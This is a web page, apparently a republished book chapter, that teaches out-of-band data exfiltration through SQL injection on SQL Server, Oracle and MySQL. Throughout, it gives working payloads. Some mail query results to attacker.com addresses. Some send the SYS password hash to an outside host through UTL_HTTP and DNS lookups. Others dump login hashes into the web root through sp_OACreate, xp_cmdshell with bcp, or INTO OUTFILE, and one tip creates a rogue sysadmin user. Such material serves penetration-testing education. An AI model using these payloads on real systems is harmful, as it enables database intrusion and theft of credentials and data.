programming4us
programming4us
DATABASE

Exploiting SQL Injection : Out-of-Band Communication

9/22/2012 2:36:08 AM
The HTTP(S) connection that is used to send the request is also used to receive the response. However, this does not always have to be the case: The results can be transferred across a completely different channel, and we refer to such a communication as “out of band,” or simply OOB. What we leverage here is that modern DBMSs are very powerful applications, and their features go beyond simply returning data to a user performing a query. For instance, if they need some information that resides on another database, they can open a connection to retrieve that data. They can also be instructed to send an e-mail when a specific event occurs, and they can interact with the file system. All of this functionality can be very helpful for an attacker, and sometimes they turn out to be the best way to exploit an SQL injection vulnerability when it is not possible to obtain the query results directly in the usual HTTP communication. Sometimes such functionality is not available to all users, but we have seen that privilege escalation attacks are not just a theoretical possibility.

There are several ways to transfer data using an OOB communication, depending on the exact technology used in the back end and on its configuration. A few techniques will be illustrated here,  when talking specifically about blind SQL injection, but the examples cannot cover all possibilities. So, if you are not able to extract data using a normal HTTP connection and the database user that is performing the queries is powerful enough, use your creativity: An OOB communication can be the fastest way to successfully exploit the vulnerable application.

E-mail

Databases are very often critical parts of any infrastructure, and as such it is of the utmost importance that their administrators can quickly react to any problem that might arise. This is why most modern DBMSs offer some kind of e-mail functionality that can be used to automatically send and receive e-mail messages in response to certain situations. For instance, if a new application user is added to a company's profile the company administrator might be notified by e-mail automatically as a security precaution. The configuration of how to send the e-mail in this case is already completed; all an attacker needs to do is construct an exploit that will extract interesting information, package the data in an e-mail, and queue the e-mail using database-specific functions. The e-mail will then appear in the attacker's mailbox.

Microsoft SQL Server

As is often the case, Microsoft SQL Server provides a nice built-in feature for sending e-mails. Actually, depending on the SQL server version, there might be not one, but two different e-mailing subsystems: SQL Mail (SQL Server 2000, 2005, and 2008) and Database Mail (SQL Server 2005 and 2008).

SQL Mail was the original e-mailing system for SQL Server. Microsoft announced with the release of SQL Server 2008 that this feature has been deprecated, and will be removed in future versions. It uses the Messaging Application Programming Interface (MAPI), and therefore it needs a MAPI messaging subsystem to be present on the SQL Server machine (e.g., Microsoft Outlook, but not Outlook Express) to send e-mails. Moreover, the e-mail client needs to be already configured with the Post Office Protocol 3/Simple Mail Transfer Protocol (POP3/SMTP) or Exchange server to connect to, and with an account to use when connected. If the server you are attacking has SQL Mail running and configured, you only need to give a try to xp_startmail (to start the SQL Client and log on to the mail server) and xp_sendmail (the extended procedure to send an e-mail message with SQL Mail). xp_startmail optionally takes two parameters (@user and @password) to specify the MAPI profile to use, but in a real exploitation scenario it's quite unlikely that you have this information, and in any case you might not need it at all: If such parameters are not provided, xp_startmail tries to use the default account of Microsoft Outlook, which is what is typically used when SQL Mail is configured to send e-mail messages in an automated way. Regarding xp_sendmail, its syntax is as follows (only the most relevant options are shown):

xp_sendmail { [ @recipients= ] 'recipients [ ;…n ]' }
   [,[ @message= ] 'message' ]
   [,[ @query= ] 'query' ]
   [,[ @subject= ] 'subject' ]
   [,[ @attachments= ] 'attachments' ]

As you can see, it's quite easy to use. So, a possible query to inject could be the following:

EXEC master..xp_startmail;
EXEC master..xp_sendmail @recipients = 'admin@attacker.com', @query =
     'select @@version'

You will receive the e-mail body in a Base64 format, which you can easily decode with a tool such as Burp Suite. And the use of Base64 means you can transfer binary data as well.

With xp_sendmail it is even possible to retrieve arbitrary files, by simply specifying them in the @attachment variable. Keep in mind, however, that xp_sendmail is enabled by default only for members of the administrative groups.

If xp_sendmail does not work and your target is SQL Server 2005 or 2008, you might still be lucky: Starting with SQL Server 2005 Microsoft introduced a new e-mail subsystem that is called Database Mail. One of its main advantages over SQL Mail is that because it uses standard SMTP, it does not need a MAPI client such as Outlook to work. To successfully send e-mails, at least one Database Mail profile must exist, which is simply a collection of Database Mail accounts. Moreover, the user must be a member of the group DatabaseMailUserRole, and have access to at least one Database Mail profile.

To start Database Mail, it is enough to use sp_configure, while to actually send an e-mail you need to use sp_send_dbmail, which is the Database Mail equivalent of xp_sendmail for SQL Mail. Its syntax, together with the most important parameters, is as follows:

sp_send_dbmail [ [ @profile_name = ] 'profile_name' ]
    [, [ @recipients = ] 'recipients [ ; …n ]' ]
    [, [ @subject = ] 'subject' ]
    [, [ @body = ] 'body' ]
    [, [ @file_attachments = ] 'attachment [ ; …n ]' ]
    [, [ @query = ] 'query' ]
    [, [ @execute_query_database = ] 'execute_query_database' ]

The profile_name indicates the profile to use to send the e-mail; if it's left blank the default public profile for the msdb database will be used. If a profile does not exist, you can create one using the following procedure:

  1. Create a Database Mail account using msdb..sysmail_add_account_sp. You will need to know a valid SMTP server that the remote database can contact and through which the e-mail can be sent. This SMTP server can be some server on the Internet, or one that is under the control of the attacker. However, if the database server can contact an arbitrary IP address on port 25, there are much faster ways to extract the data (e.g., using OPENROWSET on port 25, as I will show you in a following section) than using e-mail. Therefore, if you need to use this technique it's very likely that the database server cannot access external hosts, and so you will need to know the IP address of a valid SMTP server that resides on the target network. This may not be as hard as it sounds: If the Web application has some functionality that sends e-mail messages (e.g., with the results of some action of the user, or an e-mail to reset a user's password), it's very likely that an SMTP server will appear in the e-mail headers. Alternatively, sending an e-mail to a non-existent recipient might trigger a response that contains the same information. However, this might not be enough if the SMTP server is authenticated: If this is the case, you will need a valid username and password to successfully create the Database Mail account.

  2. Create a Database Mail profile, using msdb..sysmail_add_profile_sp.

  3. Add the account that you created in step 1 to the profile that you created in step 2, using msdb..sysmail_add_profileaccount_sp.

  4. Grant access to the profile that you created to the users in the msdb database, using msdb..sysmail_add_principalprofile_sp.

The process, complete with examples, is described in detail at http://msdn.microsoft.com/en-us/library/ms187605(SQL.90).aspx. If everything works and you have a valid Database Mail account, you can finally run queries and have their results sent in an e-mail. Here is an example of the whole process:

--Enable Database Mail
EXEC sp_configure 'show advanced', 1;
RECONFIGURE;
EXEC sp_configure 'Database Mail XPs', 1;
RECONFIGURE
--Create a new account, MYACC. The SMTP server is provided in this call.
EXEC msdb.dbo.sysmail_add_account_sp
     @account_name='MYACC',@email_address='hacked@victim.com',
     @display_name='mls',@mailserver_name='smtp.victim.com',
     @account_id=NULL;
--Create a new profile, MYPROFILE
EXEC msdb.dbo.sysmail_add_profile_sp
     @profile_name='MYPROFILE',@description=NULL, @profile_id=NULL;
--Bind the account to the profile
EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name='MYPROFILE',
     @account_name='acc',@sequence_number=1
--Retrieve login
DECLARE @b VARCHAR(8000);
SELECT @b=SYSTEM_USER;
--Send the mail
EXEC msdb.dbo.sp_send_dbmail @profile_name='MYPROFILE',
     @recipients='allyrbase@attacker.com', @subject='system user',@body=@b;

					  

Oracle

When it comes to using the DBMS to send e-mail messages, Oracle also provides two different e-mailing systems depending on the DBMS version. Since Version 8i, you could send e-mails through the UTL_SMTP package, which provided the DBA with all the instruments to start and manage an SMTP connection. Starting with Version 10g, Oracle introduced the UTL_MAIL package, which is an extra layer over UTL_SMTP and allows administrators to use e-mailing in a faster and simpler way.

UTL_SMTP, as the name suggests, provides a series of functions to start and manage an SMTP connection: You contact a server using UTL_SMTP.OPEN_CONNECTION, then send the “HELO” message to that server using UTL_SMTP.HELO, and then specify the sender and receiver using UTL_SMTP.MAIL and UTL_SMTP.RCP, respectively. Then you can specify the message with UTL_SMTP.DATA and finally terminate the session using UTL_SMTP.QUIT.

With UTL_MAIL, the whole process is a lot simpler, as you can perform it in its entirety with the following stored procedure:

UTL_MAIL.SEND(sender, recipient, cc, bcc, subject, message, mime_type,
priority)

Keep in mind that for obvious security reasons UTL_MAIL is not enabled by default; an administrator must enable it manually. UTL_SMTP is, however, enabled by default and granted to the public role.

HTTP/DNS

Oracle also offers two possibilities for performing HTTP requests: UTL_HTTP and HTTPURI_TYPE. The UTL_HTTP package and the HTTPURI_TYPE object type are granted to the public role by default and can be executed by any user in the database as well as via SQL injection.

To send, for example, the password hash of the SYS user to a remote system, you can inject the following string:

Or 1=utl_http.request ('http://www.orasploit.com/'||
     (select password from dba_users where rownum=1)) --

or via the HTTPURI_TYPE object type as follows:

or 1=HTTPURI_TYPE( 'http://www.orasploit.com/'||
     (select password from dba_users where rownum=1) ).getclob() --

Additionally, if the SQL query is written inside the URL, the data (maximum 64 bytes) can also be sent via the domain name system (DNS) lookup that is made to an external site as follows. 

or 1= utl_http.request ('http://www.'||(select password from dba_users where
    rownum=1)||'.orasploit.com/' )--

					  

File System

Sometimes the Web server and the database server happen to reside on the same box. This is a common case when the Web application has a limited number of users and/or it uses a limited amount of data. In such cases, it might not be very cost-effective to split the architecture into multiple tiers. Although such a choice is obviously very attractive for an organization that tries to minimize expenses, it has a number of security drawbacks, most notably the fact that a single flaw can be enough for an attacker to obtain full control over all the components.

In case an SQL injection flaw is discovered, such a setup allows an easy and convenient way to extract information from the database server: If the attacker has enough privileges to write on the file system, he can redirect the results of a query to a file inside the Web server root, and then normally access the file with the browser.

If the database server and the Web server are on separate machines, it might still be possible to adopt this technique if the Web server is configured to export the folders that contain the Web site, and the database server is authorized to write on them.

SQL Server

With Microsoft SQL Server there are various ways to redirect information to the file system, if your user has the privileges to do so, and the best one depends on the type and amount of data you are dealing with. Sometimes you might need to export a simple line of text, such as the value of a built-in variable like @@version. This is also the case if you extract data from the database into a single text value, such as the variable @hash in the following code on SQL Server 2005, which retrieves the username and hash of the first user in the sql_logins table:

declare @hash nvarchar(1000)
select top 1 @hash = name + ' | ' +
     master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins

In such a case, it is fairly easy to redirect this value to a text file on the filesystem, by injecting the following code:

-- Declare needed variables
DECLARE @a int, @hash nvarchar(100), @fileid int;
-- Take the username and password hash of the first user in sql_logins
-- and store it into the variable @hash
SELECT top 1 @hash = name + ' | ' +
    master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;
-- Create a FileSystemObject pointing to the location of the desired file
EXEC sp_OACreate 'Scripting.FileSystemObject', @a OUT;
EXEC sp_OAMethod @a, 'OpenTextFile', @fileid OUT,
     'c:\inetpub\wwwroot\hash.txt', 8, 1;
–- Write the @hash variable into that file
EXEC sp_OAMethod @fileid, 'WriteLine', Null, @hash;
-- Destroy the objects that are not needed anymore
EXEC sp_OADestroy @fileid;
EXEC sp_OADestroy @a;

Now, all you need to do is to point your browser to the file location and retrieve the information, as shown in Figure 1

Figure 1. Using the Server's File System to Obtain the Password Hash of User sa

If you need to repeat the process several times, you can make things easier by encapsulating the code in a stored procedure that can be called at will.

This technique works quite well for extracting small amounts of information, but what about extracting whole tables? The best option in that case is to rely on bcp.exe, a command-line utility shipped by default with SQL Server. As stated on MSDN, “The bcp utility bulk copies data between an instance of Microsoft SQL Server and a data file in a user-specified format” (see http://msdn.microsoft.com/en-us/library/ms162802.aspx). Bcp.exe is a powerful utility which accepts a large number of parameters. In our case, however, we are interested in only a few of them, so here's an example that retrieves the entire sql_logins table:

EXEC xp_cmdshell 'bcp “select * from sys.sql_logins” queryout
    c:\inetpub\wwwroot\hashes.txt -T -c'

What happens here? Because bcp is a command-line utility, you can only call it with xp_cmdshell . The first parameter that is passed to bcp is the query, which can be any T-SQL that returns a result set. The queryout parameter is used to provide maximum flexibility, because it can handle bulk copying of data. Then you specify the output file, which is the file where the data must be written and which must reside where it can be accessed with an HTTP connection in this exploit scenario. The –c switch indicates that a character data type must be used. If you need to transfer binary data, you should use the –n switch instead.

The –T switch deserves a deeper explanation. Because bcp.exe is a command-line utility that needs to talk with a running installation of SQL Server, it will need to provide some form of authentication to perform its job. Usually, such authentication is performed with a username and password using the –U and –P parameters, but during a real attack you might not know (yet) such pieces of information. By using the –T switch, you tell bcp to connect to SQL Server with a trusted connection using Windows integrated security. That is, the credentials of the user executing the queries will be used.

If everything goes according to plan, the entire sql_logins table will be copied into hashes.txt, ready to be accessed with your browser, as shown in Figure 2.

Figure 2. Extracting an Entire Database Table to the File System

Tip

In case trusted connections do not work, and you do not know the password of any user, you can simply add a temporary user with sp_adduser, give it the password you want, make the user a member of the sysadmin group with sp_addsrvrolemember, and finally call bcp using the user you just created and its password with –U and –P. This is a method that is more invasive and leaves a larger footprint, but keep it in mind if the trusted connection fails for some reason.


MySQL

On MySQL, you can send the results of a SELECT statement into a file by appending to the query the string INTO OUTFILE. By default, the file is written in the database directory, whose value on MySQL 5 is stored in the @@datadir variable. However, you can specify an arbitrary path, and the results of the query will be successfully saved as long as MySQL has the necessary privileges to write in that directory.

To be able to perform this action, however, your user needs to have FILE privileges. To find out whether your user has such privileges you can use one of the following two queries:

SELECT file_priv FROM mysql.user WHERE user = 'username' --- MySQL 4/5
SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE
    privilege_type = 'file' AND grantee = 'username'

Assuming that you have such privileges, if you know that the Web site root directory is /webroot/ and your MySQL user has write access to that directory, you could inject the following query:

SELECT table_name FROM information_schema.tables INTO OUTFILE
    '/webroot/tables.txt';

Then, by pointing your browser to http://www.victim.com/tables.txt you would immediately retrieve the results of your query.

Although INTO OUTFILE is well suited to extract text data, it can create problems in cases of binary data, because it will escape several characters. If you need a precise copy of some binary data that you intend to extract, you can simply use INTO DUMPFILE instead.

Oracle

In Oracle, most of the methods for accessing files (UTL_FILE, DBMS_LOB, external tables, and Java) require a PL/SQL injection vulnerability, and therefore cannot be used in an SQL injection scenario. 

Other  
  •  SQL Server 2008 R2 : Dropping Indexes, Online Indexing Operations, Indexes on Views
  •  SQL Server 2008 R2 : Managing Indexes - Managing Indexes with T-SQL, Managing Indexes with SSMS
  •  SQL Server 2005 : Advanced OLAP - Advanced Dimensions and Measures (part 3)
  •  SQL Server 2005 : Advanced OLAP - Advanced Dimensions and Measures (part 2) - Parent-Child Dimensions
  •  SQL Server 2005 : Advanced OLAP - Advanced Dimensions and Measures (part 1)
  •  Microsoft Systems Management Server 2003 : Maintaining the Database Through Microsoft SQL Server - Database Maintenance
  •  Microsoft Systems Management Server 2003 : Maintaining the Database Through Microsoft SQL Server - SQL Server Components
  •  Microsoft Visual Basic 2008 : Processing and Storing Data in SQL Server 2005 - Optimizing the LINQSQL Class
  •  ASP.NET 4 in VB 2010 : ADO.NET Fundamentals (part 6) - Disconnected Data Access
  •  ASP.NET 4 in VB 2010 : ADO.NET Fundamentals (part 5) - Direct Data Access - Updating Data
  •  
     
    Video tutorials
    - How To Install Windows 8

    - How To Install Windows Server 2012

    - How To Install Windows Server 2012 On VirtualBox

    - How To Disable Windows 8 Metro UI

    - How To Install Windows Store Apps From Windows 8 Classic Desktop

    - How To Disable Windows Update in Windows 8

    - How To Disable Windows 8 Metro UI

    - How To Add Widgets To Windows 8 Lock Screen

    - How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010
    programming4us programming4us
    programming4us
     
     
    programming4us